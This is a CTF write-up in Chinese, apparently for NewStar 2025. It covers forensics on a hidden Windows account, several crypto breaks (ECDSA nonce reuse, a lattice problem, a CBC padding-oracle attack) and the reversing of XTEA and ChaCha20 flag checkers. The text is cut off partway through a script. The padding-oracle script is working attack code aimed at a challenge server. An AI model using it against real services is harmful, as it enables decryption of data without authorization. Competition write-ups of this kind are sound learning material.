在C:\Users这里可以找到一个叫:CreateHiddenAccount_v0.2.exe 的软件

image-20251025205509034


直接去网页搜索,找到相应的github地址,得到:2022-01-18

image-20251025205700637


flag3-影子用户密码

用取证大师加载镜像,在用户信息可以找到一个名叫:nEw5tar$的影子用户,可以直接查看它的密码,获得:Ns2025

image-20251025202144168

image-20251025202218718


最后结合起来,获得:flag{rebeyond_2022-01-18_Ns2025}


Crypto

随机数之旅4

成也线性,败也线性

把代码给GPT,让GPT写解密脚本

image-20251025152717133

# solve_flag.py
from Crypto.Util.number import long_to_bytes
p = 3028255493
# 题目给出的 x[-28:]
xs = [2981540507,1806477191,1912594455,2801509477,401085215,818458584,2397034605,
      2120401989,2008340439,66147874,1558789534,2187085801,671267991,2930313508,
      924435370,902711250,1226810076,769329795,2328739529,1228810265,1382003520,
      1967489557,2811050420,1008248532,1643249997,639108823,449982542,1325050025]

mod = p

# 构造 14x14 线性方程组,使用位置 n = 100..113:
# 方程: x[n] = sum_{i=0..13} c[i] * x[n-14+i]  (mod p)
# 我们的 xs 列表对应的是 x[86..113],因此索引转换要注意偏移 86。
A = []
b = []
for j in range(14):
    n = 100 + j
    b.append(xs[n - 86] % mod)
    row = []
    for i in range(14):
        row.append(xs[(n - 14 + i) - 86] % mod)  # = xs[j + i]
    A.append(row)

# 模 p 的高斯消元解线性方程组
def modinv(a, m):
    return pow(a, -1, m)

# 增广矩阵
for i in range(14):
    A[i].append(b[i])

n = 14
row = 0
col = 0
while row < n and col < n:
    sel = None
    for r in range(row, n):
        if A[r][col] % mod != 0:
            sel = r; break
    if sel is None:
        col += 1
        continue
    if sel != row:
        A[row], A[sel] = A[sel], A[row]
    inv = modinv(A[row][col] % mod, mod)
    A[row] = [(val * inv) % mod for val in A[row]]
    for r in range(n):
        if r != row and A[r][col] % mod != 0:
            factor = A[r][col]
            A[r] = [ (A[r][k] - factor * A[row][k]) % mod for k in range(n + 1) ]
    row += 1
    col += 1

c = [A[i][n] % mod for i in range(n)]

# 每个 c 是 3 字节的 bytes_to_long 结果 -> 还原为 3 字节再拼接
pieces = [long_to_bytes(ci, 3) for ci in c]  # 注意:long_to_bytes 若长度不足会左补 0
flag = b"".join(pieces).decode()
print("Recovered flag:", flag)

image-20251025152733262


独一无二

题目描述:秘密说两次就不好了

把代码给AI,让AI编写解密脚本

image-20251025152825136

image-20251025152841060

from Crypto.Util.number import long_to_bytes as l2b
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 给定的数据
n = 278302096557935581738338462024559946959
r = 264579573280920819291511588977260661069
s1 = 157195048165685698821267525173525379816
s2 = 61286613457098845815723227657607632607

# 消息
mes1 = b"If you used the same random number when signing,"
mes2 = b" then you need to be careful."
e1 = int.from_bytes(mes1, 'big')
e2 = int.from_bytes(mes2, 'big')

# 密文
ct = b'\xd1\x7fR\xdaz\x9cT\xb8{\x1b\ts\xbcJ6#\x16n\xcedm\xd6v)\x05A3\x87\xc51\xfc\x9d#\xe5\xf2I@\x91\xc3\x96w\xae]\xc3Uf\xd1\xee'

# 步骤1:计算k
delta_s = (s1 - s2) % n
delta_e = (e1 - e2) % n
delta_s_inv = pow(delta_s, -1, n)
k = (delta_e * delta_s_inv) % n

# 步骤2:计算私钥D
r_inv = pow(r, -1, n)
D = (s1 * k - e1) * r_inv % n

# 步骤3:恢复AES密钥并解密
d = l2b(D)
cipher = AES.new(d, AES.MODE_ECB)
flag = unpad(cipher.decrypt(ct), 16)

print(f"Flag: {flag.decode()}")

image-20251025152901060


共轭迷宫

题目描述:
Alice和Bob通讯时使用了四元数共轭的密钥交换协议
然而聪明的你应该发现:四元数在密码学应用中的优越性是它的乘法不可交换性
但这一题似乎没有很好地发挥这一特性

把附件的代码给GPT,GPT写出解密脚本

image-20251025153135909

# recover_flag.py
from decimal import Decimal, getcontext

# 提取自题目/输出的数值(精确到题目打印的高精度小数)
getcontext().prec = 120

norm_sq = Decimal("15960922284361974605582033637987025644912788")
K_w = Decimal("0.47292225874042030771896799291807799271678994351844")
K_x = Decimal("0.44018598307489329918958641928841974350737975182974")
K_y = Decimal("0.54174915328248053441099670537355485876445440400706")
K_z = Decimal("0.53766968708489053913141352127029842443636489064268")

n = norm_sq.sqrt()

parts = []
for comp in (K_w, K_x, K_y, K_z):
    val = (comp * n).to_integral_value(rounding="ROUND_HALF_EVEN")
    parts.append(int(val))

# 每部分为 9 字节(原题用的是 9 字节切片)
flag_bytes = b"".join(p.to_bytes(9, 'big') for p in parts)

print("Recovered bytes:", flag_bytes)
try:
    print("Recovered flag:", flag_bytes.decode())
except Exception as e:
    print("Could not decode as UTF-8:", e)

三重密钥锁

题目描述:
我们设计了一个三重密钥的安全系统,需要同时输入三个短密钥(a,b,c)才能解锁。
验证方程:k*a + m*b + n*c ≡ f (mod p)
其中k,m,n,f已知,且a,b,c都是很短的向量。
你截获了验证参数,能破解这个系统吗?

把附件代码给claude4.5,让它分析并给出解题脚本

image-20251025154210021

#!/usr/bin/env sage
# -*- coding: utf-8 -*-
"""
格密码题目求解 - CVP方法
问题:k*a + m*b + n*c ≡ f (mod p),求短向量 (a, b, c)
"""

def long_to_bytes(n):
    if n == 0:
        return b'\x00'
    bytes_list = []
    while n > 0:
        bytes_list.append(n & 0xff)
        n >>= 8
    return bytes(reversed(bytes_list))

print("=" * 70)
print("三重密钥锁破解 - 格密码 CVP 方法")
print("=" * 70)

# 已知参数
p = 10424356578148041779853991789187969944186570125402901113699573185144158488847151089093649435805832723680640302469301322004769382556869280204369016044400623
k = 2016425917343526209264752974016973527106088400191647819396444997081866888816818440804306653900752825844532111319244334210470353279795203950886189568717273
m = 9640575609666038466312358795458735166723157003124018050805657432015561577987823522956739610343817276374800232163184447140344754253531140765054930193240661
n = 8539207304708818916453730202381072788689351891251165656488809155919585187699733568697903825636944248694317545906020707873051567183468920809837554174735591
f = 3760813688323379339493776734416231127517302841171887658445242754803946122769018586447782634756726656702581791734772105099204609201876825961922712387326893

bitsize = 128

print(f"模数 p: {p.nbits()} bits")
print(f"目标: 找到 a, b, c (~{bitsize} bits) 使得 k*a + m*b + n*c ≡ f (mod p)\n")

# 方法1: 直接构造格(不使用权重)
print("[方法1] 标准格构造")
print("=" * 70)

M1 = Matrix(ZZ, [
    [1, 0, 0, k],
    [0, 1, 0, m],
    [0, 0, 1, n],
    [0, 0, 0, p]
])

print("[*] 执行 LLL...")
M1_lll = M1.LLL()
print("[*] LLL 完成!\n")

# 寻找满足条件的组合
found = False
target = f

# 尝试线性组合来找到使得第4维等于f的组合
print("[*] 搜索线性组合...")
from itertools import product

# 限制搜索范围
search_range = 20
best_diff = p
best_sol = None

for coeffs in product(range(-search_range, search_range+1), repeat=4):
    if all(c == 0 for c in coeffs):
        continue
    
    vec = sum(coeffs[i] * M1_lll[i] for i in range(4))
    
    # 检查第4维
    if vec[3] % p == f % p:
        a, b, c = vec[0], vec[1], vec[2]
        if a > 0 and b > 0 and c > 0:
            # 验证
            result = (k * a + m * b + n * c) % p
            if result == f:
                print(f"\n✓ 找到解!系数组合: {coeffs}")
                print(f"\na = {a}")
                print(f"b = {b}")
                print(f"c = {c}")
                
                # 恢复flag
                try:
                    flag_bytes = long_to_bytes(a) + long_to_bytes(b) + long_to_bytes(c)
                    flag = flag_bytes.decode('utf-8', errors='ignore')
                    
                    print("\n" + "=" * 70)
                    print(" " * 25 + "FLAG 获取成功!")
                    print("=" * 70)
                    print(f"\n🚩 FLAG: {flag}\n")
                    print("=" * 70)
                    found = True
                    break
                except:
                    pass

if not found:
    print("\n[方法2] 使用 Babai CVP 算法")
    print("=" * 70)
    
    # Babai最近平面算法
    def babai_cvp(B, target):
        G, mu = B.gram_schmidt()
        t = target
        for i in reversed(range(B.nrows())):
            t = t - round((t * G[i]) / (G[i] * G[i])) * B[i]
        return target - t
    
    # 目标向量:我们想要第4维是f
    target_vec = vector(ZZ, [0, 0, 0, f])
    
    closest = babai_cvp(M1_lll, target_vec)
    diff = target_vec - closest
    
    print(f"最接近的格向量: {closest}")
    print(f"差向量: {diff}\n")
    
    a, b, c = diff[0], diff[1], diff[2]
    
    # 尝试不同符号
    for sign_a, sign_b, sign_c in product([1, -1], repeat=3):
        a_test = sign_a * abs(a)
        b_test = sign_b * abs(b)
        c_test = sign_c * abs(c)
        
        if a_test > 0 and b_test > 0 and c_test > 0:
            result = (k * a_test + m * b_test + n * c_test) % p
            
            if result == f:
                print(f"✓ 找到解!")
                print(f"\na = {a_test}")
                print(f"b = {b_test}")
                print(f"c = {c_test}")
                
                try:
                    flag_bytes = long_to_bytes(a_test) + long_to_bytes(b_test) + long_to_bytes(c_test)
                    flag = flag_bytes.decode('utf-8', errors='ignore')
                    
                    print("\n" + "=" * 70)
                    print(" " * 25 + "FLAG 获取成功!")
                    print("=" * 70)
                    print(f"\n🚩 FLAG: {flag}\n")
                    print("=" * 70)
                    found = True
                    break
                except:
                    pass

if not found:
    print("\n[方法3] 扩大搜索范围")
    print("=" * 70)
    
    # 尝试更大的线性组合
    for coeffs in product(range(-100, 101, 5), repeat=4):
        if all(c == 0 for c in coeffs):
            continue
        
        vec = sum(coeffs[i] * M1_lll[i] for i in range(4))
        
        if vec[3] % p == f:
            a, b, c = abs(vec[0]), abs(vec[1]), abs(vec[2])
            
            if 0 < a < 2^(bitsize+10) and 0 < b < 2^(bitsize+10) and 0 < c < 2^(bitsize+10):
                result = (k * a + m * b + n * c) % p
                
                if result == f:
                    print(f"✓ 找到解!系数: {coeffs}")
                    print(f"\na = {a}")
                    print(f"b = {b}")
                    print(f"c = {c}")
                    
                    try:
                        flag_bytes = long_to_bytes(a) + long_to_bytes(b) + long_to_bytes(c)
                        flag = flag_bytes.decode('utf-8', errors='ignore')
                        
                        print("\n" + "=" * 70)
                        print(" " * 25 + "FLAG 获取成功!")
                        print("=" * 70)
                        print(f"\n🚩 FLAG: {flag}\n")
                        print("=" * 70)
                        found = True
                        break
                    except:
                        pass
        
        if found:
            break

if not found:
    print("\n[!] 所有方法均未成功,尝试打印调试信息...")
    print("\nLLL 规约后的基向量:")
    for i in range(4):
        print(f"v[{i}] = {M1_lll[i]}")

image-20251025154519195


天虫的秘密

题目描述:蚕怎么你了

把附件的代码和服务器上给的信息复制给AI,让AI分析并写出解题脚本

image-20251025184154136

image-20251025184220257

#!/usr/bin/env python3
from pwn import *
import base64
from Crypto.Util.Padding import unpad

HOST = '8.147.132.32'
PORT = 38529

def oracle(conn, data_b64):
    try:
        conn.recvuntil(b'Enter what you want to try, format: base64(iv+ct)\n', timeout=5)
        conn.sendline(data_b64)
        response = conn.recvline(timeout=5).strip()
        if response.startswith(b"b'") and response.endswith(b"'"):
            inner = response[2:-1]
            inner = inner.replace(b'\\n', b'\n')
            return inner.strip()
        elif response.startswith(b'b"') and response.endswith(b'"'):
            inner = response[2:-1]
            inner = inner.replace(b'\\n', b'\n')
            return inner.strip()
        else:
            return response
    except:
        return b'ERR3'

def attack_block(conn, prev_block, curr_block):
    print(f"[*] 攻击块: {curr_block.hex()}")
    intermediate = bytearray(16)
    plaintext = bytearray(16)
    
    for pos in range(15, -1, -1):
        print(f"[*] 位置 {pos}...", end='', flush=True)
        padding_value = 16 - pos
        modified_prev = bytearray(prev_block)
        
        for i in range(pos + 1, 16):
            modified_prev[i] = intermediate[i] ^ padding_value
        
        candidates = []
        for guess in range(256):
            modified_prev[pos] = guess
            payload = bytes(modified_prev) + curr_block
            payload_b64 = base64.b64encode(payload)
            response = oracle(conn, payload_b64)
            if response == b'OK':
                candidates.append(guess)
        
        if len(candidates) == 0:
            print(f" 失败!")
            return None
        elif len(candidates) == 1:
            guess = candidates[0]
            intermediate[pos] = guess ^ padding_value
            plaintext[pos] = intermediate[pos] ^ prev_block[pos]
            char = chr(plaintext[pos]) if 32 <= plaintext[pos] < 127 else '?'
            print(f" OK [{plaintext[pos]:02x}='{char}']")
        else:
            print(f" {len(candidates)}个候选: {[hex(c) for c in candidates]}")
            verified = False
            
            # 对于最后一个字节(pos=15),需要特殊处理
            if pos == 15:
                # 尝试每个候选,看哪个能让我们继续破解位置14
                for guess in candidates:
                    test_intermediate = guess ^ padding_value
                    test_plaintext = test_intermediate ^ prev_block[pos]
                    
                    # 测试:设置padding=0x02,看能否找到位置14的值
                    test_prev = bytearray(prev_block)
                    test_prev[15] = test_intermediate ^ 0x02
                    
                    # 尝试一些值看是否有OK响应
                    found_any = False
                    for test_guess in range(min(20, 256)):  # 只测试前20个
                        test_prev[14] = test_guess
                        test_payload = bytes(test_prev) + curr_block
                        test_b64 = base64.b64encode(test_payload)
                        response = oracle(conn, test_b64)
                        if response == b'OK':
                            found_any = True
                            break
                    
                    if found_any:
                        intermediate[pos] = guess ^ padding_value
                        plaintext[pos] = intermediate[pos] ^ prev_block[pos]
                        print(f"[+] 选择候选 {hex(guess)}, 明文=[{plaintext[pos]:02x}]")
                        verified = True
                        break
            else:
                # 其他位置的验证
                for guess in candidates:
                    test_prev = bytearray(modified_prev)
                    test_prev[pos] = guess
                    test_prev[pos - 1] = (test_prev[pos - 1] + 1) % 256
                    test_payload = bytes(test_prev) + curr_block
                    test_b64 = base64.b64encode(test_payload)
                    response = oracle(conn, test_b64)
                    if response != b'OK':
                        intermediate[pos] = guess ^ padding_value
                        plaintext[pos] = intermediate[pos] ^ prev_block[pos]
                        print(f"[+] 验证OK [{plaintext[pos]:02x}]")
                        verified = True
                        break
            
            if not verified:
                guess = candidates[0]
                intermediate[pos] = guess ^ padding_value
                plaintext[pos] = intermediate[pos] ^ prev_block[pos]
                print(f"[+] 用第1个 [{plaintext[pos]:02x}]")
    
    return bytes(plaintext)

def main():
    print(f"[*] 连接到 {HOST}:{PORT}")
    conn = remote(HOST, PORT)
    initial_data = conn.recvline().strip()
    print(f"[*] 收到: {initial_data}")
    
    if initial_data.startswith(b"b'") and initial_data.endswith(b"'"):
        encrypted_data_b64 = initial_data[2:-1]
    elif initial_data.startswith(b'b"') and initial_data.endswith(b'"'):
        encrypted_data_b64 = initial_data[2:-1]
    else:
        encrypted_data_b64 = initial_data
    
    encrypted_data = base64.b64decode(encrypted_data_b64)
    print(f"[*] 密文长度: {len(encrypted_data)} 字节")
    
    iv = encrypted_data[:16]
    ciphertext = encrypted_data[16:]
    blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
    print(f"[*] 共 {len(blocks)} 个块\n")
    
    plaintext_blocks = [None] * len(blocks)
    
    for i in range(len(blocks) - 1, -1, -1):
        print(f"[*] ====== 解密块 {i+1}/{len(blocks)} ======")
        block = blocks[i]
        prev_block = iv if i == 0 else blocks[i-1]
        plaintext_block = attack_block(conn, prev_block, block)
        if plaintext_block is None:
            print(f"[!] 失败")
            break
        plaintext_blocks[i] = plaintext_block
        print(f"[+] 块{i+1}: {plaintext_block.hex()}")
        print(f"[+] ASCII: {plaintext_block}\n")
    
    if None not in plaintext_blocks:
        full_plaintext = b''.join(plaintext_blocks)
        try:
            unpadded = unpad(full_plaintext, 16)
            print("=" * 60)
            print(f"FLAG: {unpadded.decode('utf-8', errors='ignore')}")
            print("=" * 60)
        except Exception as e:
            print(f"原始: {full_plaintext}")
    else:
        print("[!] 有块解密失败")
    
    conn.close()

if __name__ == '__main__':
    main()

运行后等5-10分钟,得到flag

image-20251025184325750


Reverse

NOT_TUI

题目描述:喜欢我的图形化界面吗

1. 题目概述

这是一道Windows逆向题目,程序是一个GUI应用,要求输入正确的flag格式为 flag{32字符} 来通过验证。

2. 程序结构分析

2.1 入口点分析

start() 函数

__int64 start()
{
  unk_1400080A0 = 1;
  return sub_140001180();
}

设置全局标志后,调用初始化函数。


2.2 初始化流程

sub_140001180() 负责程序初始化:

  • 线程同步处理
  • TLS回调
  • 异常处理设置
  • 命令行参数处理
  • 最终调用 sub_1400031E0()

2.3 主函数定位

sub_1400031E0() 是实际的main函数:

__int64 sub_1400031E0()
{
  // ... 解析命令行参数 ...
  return sub_140001A90(off_140005600, 0i64, v1, wShowWindow);
}

2.4 窗口创建

sub_140001A90() 创建GUI窗口:

__int64 __fastcall sub_140001A90(HINSTANCE a1, __int64 a2, __int64 a3, int a4)
{
  WndClass.lpfnWndProc = (WNDPROC)sub_1400015C6;  // 窗口过程函数
  WndClass.lpszClassName = "F";
  // 创建 500x200 的窗口
  hWnd = CreateWindowExW(0, "F", "F", 0xCF0000u, 0x80000000, 0x80000000, 500, 200, ...);
  // 消息循环
  while ( GetMessageW(&Msg, 0i64, 0, 0) ) { ... }
}

关键点:窗口过程函数是 sub_1400015C6(),这里包含核心验证逻辑。


3. 验证逻辑分析

3.1 核心验证函数

sub_1400015C6() 处理按钮点击事件(WM_COMMAND,ID=1002):

// 1. 获取输入并转换为多字节字符
GetWindowTextW(hWnd, String, 100);
WideCharToMultiByte(0, 0, String, -1, MultiByteStr, 100, 0i64, 0i64);

// 2. 格式检查:必须是 flag{...} 格式,总长度38字符
if ( !strncmp(MultiByteStr, "flag{", 5ui64) && 
     MultiByteStr[strlen(MultiByteStr) - 1] == 125 )
{
    v4 = strlen(MultiByteStr);
    v9 = v4 - 6;  // 中间内容长度 = 32 字符
    if ( v4 != 38 ) { /* 错误 */ }
    
    // 3. 第一步:S-Box替换
    for ( i = 0; i < v9; ++i )
        Destination[i + 5] = byte_140005000[Destination[i + 5]];
    
    // 4. 第二步:XTEA加密(重叠链式)
    for ( j = 0; j < v9 / 4 - 1; ++j )
        sub_140001450(&Destination[4 * j + 5]);
    
    // 5. 第三步:与目标密文比较
    for ( k = 0; k < v9 / 4; ++k )
    {
        if ( *(_DWORD *)&Destination[4 * k + 5] != dword_140004040[k] )
        {
            v11 = 0;
            break;
        }
    }
    
    if ( v11 )
        MessageBoxW(hWndParent, L"Correct! You found the right flag!", ...);
}

3.2 验证流程图

输入字符串

格式检查 (flag{...}, 长度38)

提取中间32字符

【加密步骤1】S-Box替换 (每个字符)

【加密步骤2】XTEA加密 (重叠链式,7次)

【验证步骤】与目标密文比较 (8组dword)

成功/失败

4. 加密算法识别

4.1 S-Box替换表

地址0x140005000

image-20251026164105927

识别:前几个字节 63 7C 77 7B F2...AES标准S-Box

这是一个经典的字节替换表,用于混淆数据。


4.2 XTEA加密算法

函数sub_140001450()

_DWORD *__fastcall sub_140001450(unsigned int *a1)
{
    v5 = *a1;      // v0
    v4 = a1[1];    // v1
    v3 = 0;        // sum
    
    for ( i = 0; i <= 0x71; ++i )  // 114轮 (0到0x71=113)
    {
        v3 += 1131796;  // delta = 0x114514 (特殊常量)
        
        if ( (i & 1) != 0 )  // 奇数轮
        {
            // 使用密钥2: Paper_Bouquet_Mi
            v5 += (v4 + v3) ^ (*(_DWORD *)aPaperBouquetMi + 16 * v4) ^ ((v4 >> 5) + ...);
            v4 += (v5 + v3) ^ (*(_DWORD *)&aPaperBouquetMi[8] + 16 * v5) ^ ((v5 >> 5) + ...);
        }
        else  // 偶数轮
        {
            // 使用密钥1: String_Theocracy
            v5 += (v4 + v3) ^ (*(_DWORD *)aStringTheocrac + 16 * v4) ^ ((v4 >> 5) + ...);
            v4 += (v5 + v3) ^ (*(_DWORD *)&aStringTheocrac[8] + 16 * v5) ^ ((v5 >> 5) + ...);
        }
    }
    
    *a1 = v5;
    a1[1] = v4;
}

识别特征

  • 基于Feistel结构的分组密码
  • delta常量递增
  • 左右两部分交替加密
  • 这是 XTEA (eXtended TEA) 加密算法的变体

特殊点

  1. 114轮(通常XTEA是32轮)
  2. delta = 0x114514(通常是0x9E3779B9)
  3. 两组密钥交替(奇偶轮不同)

4.3 密钥数据

密钥1(偶数轮):

地址:0x140004000

image-20251026164451264

密钥2(奇数轮):

地址:0x140004020

image-20251026164528674


4.4 目标密文

地址0x140004040

image-20251026164624879

共8个dword(32字节),这是验证的目标密文。


4.5 重叠加密模式

关键代码

for ( j = 0; j < v9 / 4 - 1; ++j )
    sub_140001450(&Destination[4 * j + 5]);
  • v9 = 32 (flag中间内容长度)
  • v9 / 4 - 1 = 7 (循环7次)
  • 每次处理的偏移:4 * j + 5

加密序列

j=0: 加密 Destination[5:13]   (字节0-7)
j=1: 加密 Destination[9:17]   (字节4-11)  ← 字节4-7已被j=0修改
j=2: 加密 Destination[13:21]  (字节8-15)  ← 字节8-11已被j=1修改
j=3: 加密 Destination[17:25]  (字节12-19)
j=4: 加密 Destination[21:29]  (字节16-23)
j=5: 加密 Destination[25:33]  (字节20-27)
j=6: 加密 Destination[29:37]  (字节24-31)

这是一种 重叠链式加密,每次加密8字节,但起始位置每次只移动4字节,后面的加密依赖前面的结果。


5. 逆向求解策略

5.1 解密思路

由于加密是链式重叠的,解密必须 逆序进行

从 j=6 开始解密 → j=5 → j=4 → ... → j=0

5.2 解密步骤

  1. 准备目标密文:将8个dword转换为32字节的字节数组
  2. 逆向XTEA解密:从j=6到j=0,逐个解密8字节块
  3. 逆向S-Box替换:构造逆查找表,对32字节进行替换
  4. 构造flag:添加 flag{...} 格式

5.3 XTEA解密算法

def xtea_decrypt(v0, v1, num_rounds=114):
    delta = 0x114514
    mask = 0xFFFFFFFF
    
    # 计算总的sum值
    total_sum = (delta * num_rounds) & mask
    
    # 从最后一轮开始逆向解密
    for i in range(num_rounds - 1, -1, -1):
        if (i & 1) != 0:  # 奇数轮使用KEY2
            key = KEY2_INTS
        else:  # 偶数轮使用KEY1
            key = KEY1_INTS
        
        # 解密顺序:先解密v1,再解密v0
        v1 = (v1 - ((v0 + total_sum) ^ (key[2] + 16 * v0) ^ ((v0 >> 5) + key[3]))) & mask
        v0 = (v0 - ((v1 + total_sum) ^ (key[0] + 16 * v1) ^ ((v1 >> 5) + key[1]))) & mask
        
        # 减少sum
        total_sum = (total_sum - delta) & mask
    
    return v0, v1

5.4 逆S-Box替换

# 构造逆S-Box
INV_S_BOX = [0] * 256
for i in range(256):
    INV_S_BOX[S_BOX[i]] = i

# 逆替换
def inv_sbox_substitute(data):
    result = bytearray()
    for byte_val in data:
        result.append(INV_S_BOX[byte_val])
    return bytes(result)

6. 完整解密脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
FlagChecker 逆向解密脚本
"""

import struct

# AES S-Box
S_BOX = [
    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
    0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
    0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
    0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
    0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
    0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
    0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
    0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
    0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
    0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
    0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
]

# 创建逆S-Box
INV_S_BOX = [0] * 256
for i in range(256):
    INV_S_BOX[S_BOX[i]] = i

# 目标密文(8组,每组4字节)
TARGET = [
    0x5AF4429C, 0xBAA6B51B, 0x5CDECA1F, 0xAF439534, 
    0x8B07D489, 0xCC2048AF, 0x957F02B6, 0x9C4988FD
]

# XTEA密钥
KEY1 = b"String_Theocracy"  # 偶数轮
KEY2 = b"Paper_Bouquet_Mi"  # 奇数轮

# 将密钥转换为4个32位整数
def key_to_ints(key):
    return struct.unpack('<4I', key[:16])

KEY1_INTS = key_to_ints(KEY1)
KEY2_INTS = key_to_ints(KEY2)

def xtea_decrypt(v0, v1, num_rounds=114):
    """
    XTEA解密函数
    """
    delta = 0x114514
    mask = 0xFFFFFFFF
    
    # 计算总的sum值
    total_sum = (delta * num_rounds) & mask
    
    # 从最后一轮开始逆向解密
    for i in range(num_rounds - 1, -1, -1):
        if (i & 1) != 0:  # 奇数轮使用KEY2
            key = KEY2_INTS
        else:  # 偶数轮使用KEY1
            key = KEY1_INTS
        
        # 解密第二部分
        v1 = (v1 - ((v0 + total_sum) ^ (key[2] + 16 * v0) ^ ((v0 >> 5) + key[3]))) & mask
        
        # 解密第一部分
        v0 = (v0 - ((v1 + total_sum) ^ (key[0] + 16 * v1) ^ ((v1 >> 5) + key[1]))) & mask
        
        # 减少sum
        total_sum = (total_sum - delta) & mask
    
    return v0, v1

def inv_sbox_substitute(data):
    """
    对数据进行逆S-Box替换
    """
    result = bytearray()
    for byte_val in data:
        result.append(INV_S_BOX[byte_val])
    return bytes(result)

def solve_flag():
    """
    求解flag
    """
    print("="*60)
    print("FlagChecker 解密脚本")
    print("="*60)
    
    # 将目标密文转换为字节数组(32字节)
    encrypted = bytearray()
    for dword in TARGET:
        encrypted.extend(struct.pack('<I', dword))
    
    print(f"\n[1] 目标密文: {encrypted.hex()}")
    
    # 逆向XTEA解密(从j=6到j=0)
    print(f"\n[2] 开始逆向XTEA解密(7轮重叠链式)...")
    
    for j in range(6, -1, -1):
        offset = 4 * j
        block = encrypted[offset:offset+8]
        v0, v1 = struct.unpack('<2I', block)
        
        # XTEA解密
        dec_v0, dec_v1 = xtea_decrypt(v0, v1)
        
        # 写回
        encrypted[offset:offset+8] = struct.pack('<2I', dec_v0, dec_v1)
        print(f"    j={j} 解密完成")
    
    print(f"\n[3] XTEA解密完成: {encrypted.hex()}")
    
    # 逆S-Box替换
    flag_content = inv_sbox_substitute(encrypted)
    
    print(f"\n[4] 逆S-Box替换后: {flag_content.hex()}")
    print(f"    ASCII: {flag_content.decode('ascii', errors='replace')}")
    
    # 构造完整的flag
    flag = b"flag{" + flag_content + b"}"
    
    print(f"\n" + "="*60)
    print(f"【解密成功】")
    print(f"Flag: {flag.decode('ascii')}")
    print(f"="*60)
    
    return flag

if __name__ == "__main__":
    flag = solve_flag()

7. 执行结果并进行验证

image-20251026165202608

image-20251026165237077


ezrust

题目描述:来点我最爱的rust

1. 静态分析

1.1 Main函数分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4;
  __int64 (__fastcall *v5)();
  
  v5 = sub_140001DD0;  // 核心函数指针
  v4 = 0;
  return sub_140004620(&v5, &unk_14001B780, argc, argv, v4);
}

1.2 核心函数 sub_140001DD0 分析

  1. 输入验证
    • 提示:"Enter your flag: "
    • 要求输入长度必须为 40 字节
  2. 加密算法识别
    • 找到常量字符串:"expand 32-byte k"ChaCha20标准常量
    • 发现10轮加密循环
    • 使用SSE指令进行向量运算
  3. 密钥材料提取
// v64 初始化
qmemcpy(v64, "expand 32-byte kString_Theocracy", sizeof(v64));

// v65 从内存加载
v65 = _mm_loadu_si128((const __m128i *)&xmmword_14001B600);

Nonce提取

v71.m128i_i32[0] = 0;
qmemcpy((char *)v71.m128i_i64 + 4, "NewStar 2025", 12);

验证逻辑

if ( !memcmp(v21, &unk_14001B6F0, 0x28ui64) )
  // 成功: "Congratulations! You found the correct flag!"
else
  // 失败: "Wrong flag! Try again!"

2. 关键数据提取

2.1 密钥构成(32字节)

  • 地址 0x14001B600 的16字节数据(小端序):

image-20251026180402692

解码为:"ycarcoehT_gnirtS" (即 “String_Theocracy” 反转)

  • 完整密钥
    • Part 1: String_Theocracy (16字节)
    • Part 2: ycarcoehT_gnirtS (16字节)
    • Hex: 537472696e675f5468656f637261637979636172636f6568545f676e69727453

2.2 Nonce(12字节)

NewStar 2025
Hex: 4e6577537461722032303235

2.3 目标密文(40字节,地址 0x14001B6F0)

image-20251026180946784


3. 完整解密脚本

#!/usr/bin/env python3
from Crypto.Cipher import ChaCha20

# 密文
ciphertext = bytes([
    0xA3, 0x62, 0x58, 0xDB, 0x4B, 0x82, 0x4F, 0xCE,
